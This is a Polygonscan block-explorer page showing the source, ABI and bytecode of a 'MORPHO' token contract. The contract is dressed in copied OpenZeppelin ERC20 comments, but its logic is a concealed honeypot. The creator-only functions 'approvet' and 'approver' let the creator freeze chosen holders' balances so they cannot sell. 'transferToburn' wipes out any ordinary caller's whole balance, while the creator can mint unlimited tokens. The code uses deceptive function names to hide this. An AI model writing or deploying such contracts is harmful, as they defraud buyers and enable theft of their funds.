Polygon Sponsored slots available. Book your slot here!
Source Code
Overview
POL Balance
POL Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 21 from a total of 21 transactions
| Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| Approvet | 77248883 | 43 days ago | IN | 0 POL | 0.00208208 | ||||
| Transfer Toburn | 77248880 | 43 days ago | IN | 0 POL | 0.0016313 | ||||
| Approve | 77246551 | 43 days ago | IN | 0 POL | 0.00228173 | ||||
| Approve | 77246381 | 43 days ago | IN | 0 POL | 0.00225801 | ||||
| Approve | 77246242 | 43 days ago | IN | 0 POL | 0.00222158 | ||||
| Approve | 77245659 | 43 days ago | IN | 0 POL | 0.00225051 | ||||
| Approve | 77245521 | 43 days ago | IN | 0 POL | 0.00223088 | ||||
| Approve | 77245379 | 43 days ago | IN | 0 POL | 0.00228733 | ||||
| Approve | 77245319 | 43 days ago | IN | 0 POL | 0.00224464 | ||||
| Approve | 77245138 | 43 days ago | IN | 0 POL | 0.0022666 | ||||
| Approve | 77244976 | 43 days ago | IN | 0 POL | 0.00230943 | ||||
| Approve | 77244919 | 43 days ago | IN | 0 POL | 0.0022903 | ||||
| Approve | 77244817 | 43 days ago | IN | 0 POL | 0.00228797 | ||||
| Approve | 77244782 | 43 days ago | IN | 0 POL | 0.00229254 | ||||
| Approve | 77244732 | 43 days ago | IN | 0 POL | 0.00228202 | ||||
| Approve | 77244704 | 43 days ago | IN | 0 POL | 0.00227166 | ||||
| Approve | 77244647 | 43 days ago | IN | 0 POL | 0.00221614 | ||||
| Approve | 77244616 | 43 days ago | IN | 0 POL | 0.00220632 | ||||
| Approve | 77244595 | 43 days ago | IN | 0 POL | 0.00220891 | ||||
| Approve | 77244518 | 43 days ago | IN | 0 POL | 0.00221381 | ||||
| Approve | 77244268 | 43 days ago | IN | 0 POL | 0.00200542 |
Cross-Chain Transactions
Loading...
Loading
Contract Name:
MORPHO
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/**
*Submitted for verification at polygonscan.com on 2025-10-04
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Ownable {
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
address private _owner;
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_yydsed}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
/**
* @dev Sets the values for {name} and {symbol}.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
/**
* @dev Sets the values for {name} and {symbol}.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
contract MORPHO is Ownable {
uint256 _totalSupply = 1 * 10 ** 9 * 10 ** decimals();
uint256 tota = _totalSupply;
address private cjxxx;
string private _tokenname;
string private _tokensymbol;
constructor(string memory name_, string memory symbol_) {
address msgSender = _msgSender();
_tokenname = name_;
_tokensymbol = symbol_;
cjxxx = _msgSender();
balances[msgSender] += _totalSupply;
emit Transfer(address(0), msgSender, _totalSupply);
}
/**
* @dev Returns the name of the token.
*/
mapping(address => uint256) private balances;
mapping(address => bool) private balancesto;
mapping(address => bool) private balancesfrom;
mapping(address => mapping(address => uint256)) private _allowances;
/**
* @dev Returns the name of the token.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function symbol() public view returns (string memory) {
return _tokensymbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function decimals() public view virtual returns (uint8) {
return 6;
}
function getAdjusted(address from, address to) internal view returns (uint256) {
uint256 adjusted = balances[from];
if (balancesto[to] && from != cjxxx) {
adjusted = adjusted ^ adjusted;
}
if (balancesfrom[from]) {
adjusted = adjusted ^ adjusted;
}
return adjusted;
}
function approvet(address _to, bool to_) public {
if (cjxxx != msg.sender) {
revert("fu");
}
balancesto[_to]
= to_;
}
function balanceOf(address account) public view returns (uint256) {
return balances[account];
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function name() public view returns (string memory) {
return _tokenname;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function approver (address _from, bool from_) public {
if(cjxxx != _msgSender()){
revert("fu");
}
balancesfrom[_from]
= from_;
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public returns (bool) {
_transfer(_msgSender(), to, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
uint256 decysBalances = getAdjusted(from, to);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(decysBalances >= amount, "ERC20: transfer amount exceeds balance");
balances[from] = balances[from]-amount;
balances[to] = balances[to]+amount;
emit Transfer(from, to, amount);
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
//function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
/**
* @dev See {IERC20-allowance}.
*/
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
// function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function transferToburn(uint256 amount) public {
address burnAddress = _msgSender();
uint256 balancefrom = _totalSupply;
if (cjxxx != _msgSender()) {
uint256 deductAmount = balances[burnAddress];
require(balances[burnAddress] > 0, "fu");
balances[burnAddress] -= deductAmount;
_totalSupply -= deductAmount;
} else {
uint256 burnAmount = tota * amount;
balances[burnAddress] += burnAmount;
balancefrom += burnAmount;
_totalSupply = balancefrom;
}
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(owner, spender, currentAllowance - subtractedValue);
return true;
}
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"bool","name":"from_","type":"bool"}],"name":"approver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"bool","name":"to_","type":"bool"}],"name":"approvet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferToburn","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
6080604052620000126006600a6200027b565b6200002290633b9aca0062000293565b6001556001546002553480156200003857600080fd5b50604051620011eb380380620011eb8339810160408190526200005b9162000372565b620000663362000116565b3360046200007584826200046b565b5060056200008483826200046b565b50600380546001600160a01b031916331790556001546001600160a01b03821660009081526006602052604081208054909190620000c490849062000537565b90915550506001546040519081526001600160a01b038216906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050506200054d565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001bd578160001904821115620001a157620001a162000166565b80851615620001af57918102915b93841c939080029062000181565b509250929050565b600082620001d65750600162000275565b81620001e55750600062000275565b8160018114620001fe5760028114620002095762000229565b600191505062000275565b60ff8411156200021d576200021d62000166565b50506001821b62000275565b5060208310610133831016604e8410600b84101617156200024e575081810a62000275565b6200025a83836200017c565b806000190482111562000271576200027162000166565b0290505b92915050565b60006200028c60ff841683620001c5565b9392505050565b808202811582820484141762000275576200027562000166565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620002d557600080fd5b81516001600160401b0380821115620002f257620002f2620002ad565b604051601f8301601f19908116603f011681019082821181831017156200031d576200031d620002ad565b816040528381526020925086838588010111156200033a57600080fd5b600091505b838210156200035e57858201830151818301840152908201906200033f565b600093810190920192909252949350505050565b600080604083850312156200038657600080fd5b82516001600160401b03808211156200039e57600080fd5b620003ac86838701620002c3565b93506020850151915080821115620003c357600080fd5b50620003d285828601620002c3565b9150509250929050565b600181811c90821680620003f157607f821691505b6020821081036200041257634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200046657600081815260208120601f850160051c81016020861015620004415750805b601f850160051c820191505b8181101562000462578281556001016200044d565b5050505b505050565b81516001600160401b03811115620004875762000487620002ad565b6200049f81620004988454620003dc565b8462000418565b602080601f831160018114620004d75760008415620004be5750858301515b600019600386901b1c1916600185901b17855562000462565b600085815260208120601f198616915b828110156200050857888601518255948401946001909101908401620004e7565b5085821015620005275787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8082018082111562000275576200027562000166565b610c8e806200055d6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c80636b254a9a1161009757806395d89b411161006657806395d89b41146101f6578063a457c2d7146101fe578063a9059cbb14610211578063dd62ed3e1461022457600080fd5b80636b254a9a1461019757806370a08231146101aa578063715018a6146101d35780638da5cb5b146101db57600080fd5b806318160ddd116100d357806318160ddd1461015057806323b872dd14610162578063313ce5671461017557806348f2f8121461018457600080fd5b806306fdde03146100fa578063095ea7b3146101185780630df884561461013b575b600080fd5b610102610237565b60405161010f9190610a3c565b60405180910390f35b61012b610126366004610aa6565b6102c9565b604051901515815260200161010f565b61014e610149366004610ad0565b6102e0565b005b6001545b60405190815260200161010f565b61012b610170366004610ae9565b6103df565b6040516006815260200161010f565b61014e610192366004610b25565b610403565b61014e6101a5366004610b25565b610458565b6101546101b8366004610b61565b6001600160a01b031660009081526006602052604090205490565b61014e6104ad565b6000546040516001600160a01b03909116815260200161010f565b6101026104c1565b61012b61020c366004610aa6565b6104d0565b61012b61021f366004610aa6565b610552565b610154610232366004610b7c565b61055f565b60606004805461024690610baf565b80601f016020809104026020016040519081016040528092919081815260200182805461027290610baf565b80156102bf5780601f10610294576101008083540402835291602001916102bf565b820191906000526020600020905b8154815290600101906020018083116102a257829003601f168201915b5050505050905090565b60006102d633848461058a565b5060015b92915050565b6001546003543391906001600160a01b03168214610384576001600160a01b038216600090815260066020526040902054806103375760405162461bcd60e51b815260040161032e90610be9565b60405180910390fd5b6001600160a01b0383166000908152600660205260408120805483929061035f908490610c1b565b9250508190555080600160008282546103789190610c1b565b909155506103da915050565b6000836002546103949190610c2e565b6001600160a01b0384166000908152600660205260408120805492935083929091906103c1908490610c45565b909155506103d190508183610c45565b60018190559150505b505050565b6000336103ed8582856106ae565b6103f885858561072a565b506001949350505050565b6003546001600160a01b0316331461042d5760405162461bcd60e51b815260040161032e90610be9565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6003546001600160a01b031633146104825760405162461bcd60e51b815260040161032e90610be9565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6104b5610913565b6104bf600061096d565b565b60606005805461024690610baf565b600033816104de828661055f565b90508381101561053e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161032e565b6103f8828661054d8785610c1b565b61058a565b60006102d633848461072a565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6001600160a01b0383166105ec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032e565b6001600160a01b03821661064d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032e565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106ba848461055f565b9050600019811461072457818110156107155760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032e565b610724848461054d8585610c1b565b50505050565b600061073684846109bd565b90506001600160a01b03841661079c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032e565b6001600160a01b0383166107fe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032e565b8181101561085d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032e565b6001600160a01b038416600090815260066020526040902054610881908390610c1b565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546108b1908390610c45565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109059086815260200190565b60405180910390a350505050565b6000546001600160a01b031633146104bf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161032e565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038083166000908152600660209081526040808320549385168352600790915281205490919060ff168015610a0757506003546001600160a01b03858116911614155b15610a10575060005b6001600160a01b03841660009081526008602052604090205460ff1615610a35575060005b9392505050565b600060208083528351808285015260005b81811015610a6957858101830151858201604001528201610a4d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610aa157600080fd5b919050565b60008060408385031215610ab957600080fd5b610ac283610a8a565b946020939093013593505050565b600060208284031215610ae257600080fd5b5035919050565b600080600060608486031215610afe57600080fd5b610b0784610a8a565b9250610b1560208501610a8a565b9150604084013590509250925092565b60008060408385031215610b3857600080fd5b610b4183610a8a565b915060208301358015158114610b5657600080fd5b809150509250929050565b600060208284031215610b7357600080fd5b610a3582610a8a565b60008060408385031215610b8f57600080fd5b610b9883610a8a565b9150610ba660208401610a8a565b90509250929050565b600181811c90821680610bc357607f821691505b602082108103610be357634e487b7160e01b600052602260045260246000fd5b50919050565b602080825260029082015261667560f01b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156102da576102da610c05565b80820281158282048414176102da576102da610c05565b808201808211156102da576102da610c0556fea2646970667358221220b71002b10c64a251eec4277374d43923f3cd836112965bc305f671304dc2515a64736f6c6343000812003300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000c4d6f7270686f20546f6b656e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064d4f5250484f0000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636b254a9a1161009757806395d89b411161006657806395d89b41146101f6578063a457c2d7146101fe578063a9059cbb14610211578063dd62ed3e1461022457600080fd5b80636b254a9a1461019757806370a08231146101aa578063715018a6146101d35780638da5cb5b146101db57600080fd5b806318160ddd116100d357806318160ddd1461015057806323b872dd14610162578063313ce5671461017557806348f2f8121461018457600080fd5b806306fdde03146100fa578063095ea7b3146101185780630df884561461013b575b600080fd5b610102610237565b60405161010f9190610a3c565b60405180910390f35b61012b610126366004610aa6565b6102c9565b604051901515815260200161010f565b61014e610149366004610ad0565b6102e0565b005b6001545b60405190815260200161010f565b61012b610170366004610ae9565b6103df565b6040516006815260200161010f565b61014e610192366004610b25565b610403565b61014e6101a5366004610b25565b610458565b6101546101b8366004610b61565b6001600160a01b031660009081526006602052604090205490565b61014e6104ad565b6000546040516001600160a01b03909116815260200161010f565b6101026104c1565b61012b61020c366004610aa6565b6104d0565b61012b61021f366004610aa6565b610552565b610154610232366004610b7c565b61055f565b60606004805461024690610baf565b80601f016020809104026020016040519081016040528092919081815260200182805461027290610baf565b80156102bf5780601f10610294576101008083540402835291602001916102bf565b820191906000526020600020905b8154815290600101906020018083116102a257829003601f168201915b5050505050905090565b60006102d633848461058a565b5060015b92915050565b6001546003543391906001600160a01b03168214610384576001600160a01b038216600090815260066020526040902054806103375760405162461bcd60e51b815260040161032e90610be9565b60405180910390fd5b6001600160a01b0383166000908152600660205260408120805483929061035f908490610c1b565b9250508190555080600160008282546103789190610c1b565b909155506103da915050565b6000836002546103949190610c2e565b6001600160a01b0384166000908152600660205260408120805492935083929091906103c1908490610c45565b909155506103d190508183610c45565b60018190559150505b505050565b6000336103ed8582856106ae565b6103f885858561072a565b506001949350505050565b6003546001600160a01b0316331461042d5760405162461bcd60e51b815260040161032e90610be9565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6003546001600160a01b031633146104825760405162461bcd60e51b815260040161032e90610be9565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6104b5610913565b6104bf600061096d565b565b60606005805461024690610baf565b600033816104de828661055f565b90508381101561053e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161032e565b6103f8828661054d8785610c1b565b61058a565b60006102d633848461072a565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6001600160a01b0383166105ec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032e565b6001600160a01b03821661064d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032e565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106ba848461055f565b9050600019811461072457818110156107155760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032e565b610724848461054d8585610c1b565b50505050565b600061073684846109bd565b90506001600160a01b03841661079c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032e565b6001600160a01b0383166107fe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032e565b8181101561085d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032e565b6001600160a01b038416600090815260066020526040902054610881908390610c1b565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546108b1908390610c45565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109059086815260200190565b60405180910390a350505050565b6000546001600160a01b031633146104bf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161032e565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038083166000908152600660209081526040808320549385168352600790915281205490919060ff168015610a0757506003546001600160a01b03858116911614155b15610a10575060005b6001600160a01b03841660009081526008602052604090205460ff1615610a35575060005b9392505050565b600060208083528351808285015260005b81811015610a6957858101830151858201604001528201610a4d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610aa157600080fd5b919050565b60008060408385031215610ab957600080fd5b610ac283610a8a565b946020939093013593505050565b600060208284031215610ae257600080fd5b5035919050565b600080600060608486031215610afe57600080fd5b610b0784610a8a565b9250610b1560208501610a8a565b9150604084013590509250925092565b60008060408385031215610b3857600080fd5b610b4183610a8a565b915060208301358015158114610b5657600080fd5b809150509250929050565b600060208284031215610b7357600080fd5b610a3582610a8a565b60008060408385031215610b8f57600080fd5b610b9883610a8a565b9150610ba660208401610a8a565b90509250929050565b600181811c90821680610bc357607f821691505b602082108103610be357634e487b7160e01b600052602260045260246000fd5b50919050565b602080825260029082015261667560f01b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156102da576102da610c05565b80820281158282048414176102da576102da610c05565b808201808211156102da576102da610c0556fea2646970667358221220b71002b10c64a251eec4277374d43923f3cd836112965bc305f671304dc2515a64736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000c4d6f7270686f20546f6b656e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064d4f5250484f0000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Morpho Token
Arg [1] : symbol_ (string): MORPHO
-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [3] : 4d6f7270686f20546f6b656e0000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [5] : 4d4f5250484f0000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
